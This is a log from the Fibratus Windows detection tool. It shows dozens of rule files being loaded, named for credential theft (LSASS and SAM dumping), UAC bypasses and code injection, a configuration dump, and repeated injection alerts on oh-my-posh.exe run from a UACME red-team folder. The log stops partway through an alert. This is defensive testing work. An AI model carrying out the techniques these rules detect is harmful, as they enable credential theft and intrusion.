skip-registry=>false skip-mmaps=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:50:35+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:50:38+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:50:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T12:50:39+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-26T12:50:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-26T13:37:23+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T13:37:23+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T13:37:23+01:00 level=info msg=bootstrapping with pid 6912. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T13:37:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true to=>[] port=>25 enabled=>false content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false enable-dns=>false enable-mem=>false min-buffers=>16 enable-audit-api=>true enable-net=>true stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-fileio=>true enable-registry=>true enable-image=>true enable-threadpool=>false enable-vamap=>true enable-thread=>true flush-interval=>1s buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ timeout=>5s serializer=>json enable-gzip=>false method=>POST enabled=>false endpoints=>[] tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ durable=>false vhost=>/ exchange=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus] elasticsearch=>[ template-name=>fibratus enabled=>false gzip-compression=>false sniff=>false flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s index-name=>fibratus bulk-workers=>1 timeout=>5s healthcheck=>true trace-log=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s enabled=>false excluded-files=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T13:37:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T13:37:26+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T13:38:47+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 998467 + Pid: 6100 + Tid: 15308 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:38:46.1190016 +0100 CET + Params: status➜ Success + Metadata: technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 6100 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME" "--pswd=C:\Fibratus\redteam\UACME" "--execution-time=33.7484" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME" "--pswd=C:\Fibratus\redteam\UACME" "--execution-time=33.7484" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:38:48+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1001590 + Pid: 6100 + Tid: 17572 + Type: SetThreadContext + CPU: 5 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:38:46.1190427 +0100 CET + Params: status➜ Success + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, rule.name: Thread context set from unbacked memory + + Pid: 6100 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME" "--pswd=C:\Fibratus\redteam\UACME" "--execution-time=33.7484" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME" "--pswd=C:\Fibratus\redteam\UACME" "--execution-time=33.7484" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:17+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1022362 + Pid: 15452 + Tid: 7188 + Type: SetThreadContext + CPU: 5 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:16.0745663 +0100 CET + Params: status➜ Success + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, rule.name: Thread context set from unbacked memory, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion + + Pid: 15452 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Bin" "--pswd=C:\Fibratus\redteam\UACME\Bin" "--execution-time=20.452" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Bin" "--pswd=C:\Fibratus\redteam\UACME\Bin" "--execution-time=20.452" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:22+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1029387 + Pid: 9840 + Tid: 18316 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:21.0139391 +0100 CET + Params: status➜ Success + Metadata: technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Thread context set from unbacked memory, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055 + + Pid: 9840 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" "--execution-time=32.0403" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=120" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-26T13:39:22+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1029388 + Pid: 9840 + Tid: 19132 + Type: SetThreadContext + CPU: 7 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-26 13:39:21.0208497 +0100 CET + Params: status➜ Success + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: Thread context set from unbacked memory, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 9840 + Ppid: 7432 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\UACME\Source" "--pswd=C:\Fibratus\redteam\UACME\Source" 